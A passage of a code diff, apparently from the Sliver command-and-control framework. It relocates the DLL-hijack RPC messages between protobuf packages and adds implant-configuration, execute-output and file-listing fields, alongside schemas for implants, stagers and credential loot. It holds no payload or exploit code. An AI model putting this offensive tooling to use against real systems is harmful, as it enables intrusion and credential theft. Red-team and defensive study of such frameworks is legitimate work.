0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61,
|
||||
0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69,
|
||||
0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72,
|
||||
0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71,
|
||||
0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d,
|
||||
0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52,
|
||||
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a,
|
||||
0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18,
|
||||
0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
|
||||
0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f,
|
||||
0x6e, 0x73, 0x65, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72,
|
||||
0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49,
|
||||
0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45,
|
||||
0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45,
|
||||
0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x2a,
|
||||
0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c,
|
||||
0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54,
|
||||
0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2e,
|
||||
0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c, 0x4f,
|
||||
0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x4f,
|
||||
0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a, 0x4d,
|
||||
0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65,
|
||||
0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41,
|
||||
0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53, 0x53,
|
||||
0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b, 0x45,
|
||||
0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a,
|
||||
0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f,
|
||||
0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59,
|
||||
0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f, 0x5a, 0x2d,
|
||||
0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f,
|
||||
0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70,
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -5290,7 +5464,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
|
||||
}
|
||||
|
||||
var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 5)
|
||||
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 69)
|
||||
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 71)
|
||||
var file_clientpb_client_proto_goTypes = []interface{}{
|
||||
(OutputFormat)(0), // 0: clientpb.OutputFormat
|
||||
(StageProtocol)(0), // 1: clientpb.StageProtocol
|
||||
@@ -5362,18 +5536,20 @@ var file_clientpb_client_proto_goTypes = []interface{}{
|
||||
(*ExtensionData)(nil), // 67: clientpb.ExtensionData
|
||||
(*Host)(nil), // 68: clientpb.Host
|
||||
(*AllHosts)(nil), // 69: clientpb.AllHosts
|
||||
nil, // 70: clientpb.ImplantBuilds.ConfigsEntry
|
||||
nil, // 71: clientpb.WebsiteAddContent.ContentsEntry
|
||||
nil, // 72: clientpb.Website.ContentsEntry
|
||||
nil, // 73: clientpb.Host.ExtensionDataEntry
|
||||
(*commonpb.Request)(nil), // 74: commonpb.Request
|
||||
(*commonpb.Response)(nil), // 75: commonpb.Response
|
||||
(*commonpb.File)(nil), // 76: commonpb.File
|
||||
(*DllHijackReq)(nil), // 70: clientpb.DllHijackReq
|
||||
(*DllHijack)(nil), // 71: clientpb.DllHijack
|
||||
nil, // 72: clientpb.ImplantBuilds.ConfigsEntry
|
||||
nil, // 73: clientpb.WebsiteAddContent.ContentsEntry
|
||||
nil, // 74: clientpb.Website.ContentsEntry
|
||||
nil, // 75: clientpb.Host.ExtensionDataEntry
|
||||
(*commonpb.Request)(nil), // 76: commonpb.Request
|
||||
(*commonpb.Response)(nil), // 77: commonpb.Response
|
||||
(*commonpb.File)(nil), // 78: commonpb.File
|
||||
}
|
||||
var file_clientpb_client_proto_depIdxs = []int32{
|
||||
7, // 0: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
|
||||
0, // 1: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
|
||||
70, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
|
||||
72, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
|
||||
0, // 3: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
|
||||
10, // 4: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
|
||||
11, // 5: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
|
||||
@@ -5382,50 +5558,52 @@ var file_clientpb_client_proto_depIdxs = []int32{
|
||||
8, // 8: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
|
||||
17, // 9: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
|
||||
20, // 10: clientpb.Jobs.Active:type_name -> clientpb.Job
|
||||
74, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
|
||||
75, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
|
||||
74, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
|
||||
75, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
|
||||
76, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
|
||||
77, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
|
||||
76, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
|
||||
77, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
|
||||
6, // 15: clientpb.Sessions.Sessions:type_name -> clientpb.Session
|
||||
8, // 16: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
|
||||
76, // 17: clientpb.Generate.File:type_name -> commonpb.File
|
||||
74, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
|
||||
74, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
|
||||
78, // 17: clientpb.Generate.File:type_name -> commonpb.File
|
||||
76, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
|
||||
76, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
|
||||
1, // 20: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
|
||||
1, // 21: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
|
||||
76, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
|
||||
78, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
|
||||
8, // 23: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
|
||||
74, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
|
||||
76, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
|
||||
8, // 25: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
|
||||
74, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
|
||||
74, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
|
||||
74, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
|
||||
76, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
|
||||
76, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
|
||||
76, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
|
||||
56, // 29: clientpb.Client.Operator:type_name -> clientpb.Operator
|
||||
6, // 30: clientpb.Event.Session:type_name -> clientpb.Session
|
||||
20, // 31: clientpb.Event.Job:type_name -> clientpb.Job
|
||||
53, // 32: clientpb.Event.Client:type_name -> clientpb.Client
|
||||
56, // 33: clientpb.Operators.Operators:type_name -> clientpb.Operator
|
||||
71, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
|
||||
72, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
|
||||
73, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
|
||||
74, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
|
||||
60, // 36: clientpb.Websites.Websites:type_name -> clientpb.Website
|
||||
2, // 37: clientpb.Loot.Type:type_name -> clientpb.LootType
|
||||
3, // 38: clientpb.Loot.CredentialType:type_name -> clientpb.CredentialType
|
||||
63, // 39: clientpb.Loot.Credential:type_name -> clientpb.Credential
|
||||
4, // 40: clientpb.Loot.FileType:type_name -> clientpb.FileType
|
||||
76, // 41: clientpb.Loot.File:type_name -> commonpb.File
|
||||
78, // 41: clientpb.Loot.File:type_name -> commonpb.File
|
||||
64, // 42: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
|
||||
66, // 43: clientpb.Host.IOCs:type_name -> clientpb.IOC
|
||||
73, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
|
||||
75, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
|
||||
68, // 45: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
|
||||
8, // 46: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
|
||||
57, // 47: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
57, // 48: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
67, // 49: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
|
||||
50, // [50:50] is the sub-list for method output_type
|
||||
50, // [50:50] is the sub-list for method input_type
|
||||
50, // [50:50] is the sub-list for extension type_name
|
||||
50, // [50:50] is the sub-list for extension extendee
|
||||
0, // [0:50] is the sub-list for field type_name
|
||||
76, // 46: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
|
||||
77, // 47: clientpb.DllHijack.Response:type_name -> commonpb.Response
|
||||
8, // 48: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
|
||||
57, // 49: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
57, // 50: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
|
||||
67, // 51: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
|
||||
52, // [52:52] is the sub-list for method output_type
|
||||
52, // [52:52] is the sub-list for method input_type
|
||||
52, // [52:52] is the sub-list for extension type_name
|
||||
52, // [52:52] is the sub-list for extension extendee
|
||||
0, // [0:52] is the sub-list for field type_name
|
||||
}
|
||||
|
||||
func init() { file_clientpb_client_proto_init() }
|
||||
@@ -6214,6 +6392,30 @@ func file_clientpb_client_proto_init() {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*DllHijackReq); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*DllHijack); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
type x struct{}
|
||||
out := protoimpl.TypeBuilder{
|
||||
@@ -6221,7 +6423,7 @@ func file_clientpb_client_proto_init() {
|
||||
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
|
||||
RawDescriptor: file_clientpb_client_proto_rawDesc,
|
||||
NumEnums: 5,
|
||||
NumMessages: 69,
|
||||
NumMessages: 71,
|
||||
NumExtensions: 0,
|
||||
NumServices: 0,
|
||||
},
|
||||
|
||||
@@ -60,6 +60,8 @@ enum OutputFormat {
|
||||
}
|
||||
|
||||
message ImplantConfig {
|
||||
string ID = 100;
|
||||
|
||||
string GOOS = 1;
|
||||
string GOARCH = 2;
|
||||
string Name = 3;
|
||||
@@ -83,6 +85,7 @@ message ImplantConfig {
|
||||
// c2
|
||||
repeated ImplantC2 C2 = 10;
|
||||
repeated string CanaryDomains = 11;
|
||||
string ConnectionStrategy = 39;
|
||||
|
||||
bool LimitDomainJoined = 20;
|
||||
string LimitDatetime = 21;
|
||||
@@ -521,4 +524,19 @@ message Host {
|
||||
|
||||
message AllHosts {
|
||||
repeated Host Hosts = 1;
|
||||
}
|
||||
}
|
||||
|
||||
// [ Dll Hijack ] ----------------------------------------
|
||||
message DllHijackReq {
|
||||
string ReferenceDLLPath = 1;
|
||||
string TargetLocation = 2;
|
||||
bytes ReferenceDLL = 3;
|
||||
bytes TargetDLL = 4;
|
||||
string ProfileName = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message DllHijack {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
@@ -350,8 +350,8 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61,
|
||||
0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12,
|
||||
0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69,
|
||||
0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69,
|
||||
0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08,
|
||||
0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a,
|
||||
@@ -488,7 +488,7 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.RegistrySubKeyListReq)(nil), // 62: sliverpb.RegistrySubKeyListReq
|
||||
(*sliverpb.RegistryListValuesReq)(nil), // 63: sliverpb.RegistryListValuesReq
|
||||
(*sliverpb.SSHCommandReq)(nil), // 64: sliverpb.SSHCommandReq
|
||||
(*sliverpb.DllHijackReq)(nil), // 65: sliverpb.DllHijackReq
|
||||
(*clientpb.DllHijackReq)(nil), // 65: clientpb.DllHijackReq
|
||||
(*sliverpb.GetPrivsReq)(nil), // 66: sliverpb.GetPrivsReq
|
||||
(*sliverpb.RegisterExtensionReq)(nil), // 67: sliverpb.RegisterExtensionReq
|
||||
(*sliverpb.CallExtensionReq)(nil), // 68: sliverpb.CallExtensionReq
|
||||
@@ -564,7 +564,7 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 138: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 139: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 140: sliverpb.SSHCommand
|
||||
(*sliverpb.DllHijack)(nil), // 141: sliverpb.DllHijack
|
||||
(*clientpb.DllHijack)(nil), // 141: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 142: sliverpb.GetPrivs
|
||||
(*sliverpb.RegisterExtension)(nil), // 143: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 144: sliverpb.CallExtension
|
||||
@@ -667,7 +667,7 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
62, // 86: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
|
||||
63, // 87: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
|
||||
64, // 88: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
65, // 89: rpcpb.SliverRPC.HijackDLL:input_type -> sliverpb.DllHijackReq
|
||||
65, // 89: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
|
||||
66, // 90: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
|
||||
67, // 91: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
68, // 92: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
@@ -773,7 +773,7 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
138, // 192: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
139, // 193: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
140, // 194: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
141, // 195: rpcpb.SliverRPC.HijackDLL:output_type -> sliverpb.DllHijack
|
||||
141, // 195: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
142, // 196: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
143, // 197: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
144, // 198: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
|
||||
@@ -121,7 +121,7 @@ service SliverRPC {
|
||||
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
|
||||
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
|
||||
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
|
||||
rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
|
||||
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
|
||||
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
|
||||
// Extensions
|
||||
rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
|
||||
|
||||
@@ -122,7 +122,7 @@ type SliverRPCClient interface {
|
||||
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
|
||||
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
|
||||
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error)
|
||||
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
|
||||
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
|
||||
// Extensions
|
||||
RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
|
||||
@@ -955,8 +955,8 @@ func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCom
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error) {
|
||||
out := new(sliverpb.DllHijack)
|
||||
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error) {
|
||||
out := new(clientpb.DllHijack)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HijackDLL", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -1258,7 +1258,7 @@ type SliverRPCServer interface {
|
||||
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
|
||||
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
|
||||
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error)
|
||||
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
|
||||
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
|
||||
// Extensions
|
||||
RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
|
||||
@@ -1554,7 +1554,7 @@ func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverp
|
||||
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
|
||||
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
|
||||
@@ -3221,7 +3221,7 @@ func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec
|
||||
}
|
||||
|
||||
func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.DllHijackReq)
|
||||
in := new(clientpb.DllHijackReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -3233,7 +3233,7 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func
|
||||
FullMethod: "/rpcpb.SliverRPC/HijackDLL",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*sliverpb.DllHijackReq))
|
||||
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*clientpb.DllHijackReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
+1099
-1144
File diff suppressed because it is too large.
Load diff
@@ -47,6 +47,7 @@ message Register {
|
||||
uint32 ReconnectInterval = 13;
|
||||
string ProxyURL = 14;
|
||||
uint32 PollInterval = 15;
|
||||
string ConfigID = 16;
|
||||
}
|
||||
|
||||
// Ping - Not ICMP, just sends a rount trip message to an implant to
|
||||
@@ -120,6 +121,8 @@ message Ls {
|
||||
string Path = 1;
|
||||
bool Exists = 2;
|
||||
repeated FileInfo Files = 3;
|
||||
string timezone = 4;
|
||||
int32 timezoneOffset = 5;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
@@ -128,6 +131,8 @@ message FileInfo {
|
||||
string Name = 1;
|
||||
bool IsDir = 2;
|
||||
int64 Size = 3;
|
||||
int64 ModTime = 4;
|
||||
string Mode = 5;
|
||||
}
|
||||
|
||||
message CdReq {
|
||||
@@ -327,6 +332,8 @@ message ExecuteReq {
|
||||
string Path = 1;
|
||||
repeated string Args = 2;
|
||||
bool Output = 3;
|
||||
string Stdout = 4;
|
||||
string Stderr = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -335,13 +342,17 @@ message ExecuteTokenReq {
|
||||
string Path = 1;
|
||||
repeated string Args = 2;
|
||||
bool Output = 3;
|
||||
string Stdout = 4;
|
||||
string Stderr = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Execute {
|
||||
string Result = 1;
|
||||
uint32 Status = 2;
|
||||
uint32 Status = 1;
|
||||
string Stdout = 2;
|
||||
string Stderr = 3;
|
||||
uint32 Pid = 4;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
@@ -798,20 +809,6 @@ message SSHCommand {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message DllHijackReq {
|
||||
string ReferenceDLLPath = 1;
|
||||
string TargetLocation = 2;
|
||||
bytes ReferenceDLL = 3;
|
||||
bytes TargetDLL = 4;
|
||||
string ProfileName = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message DllHijack {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message GetPrivsReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -827,6 +824,8 @@ message WindowsPrivilegeEntry {
|
||||
|
||||
message GetPrivs {
|
||||
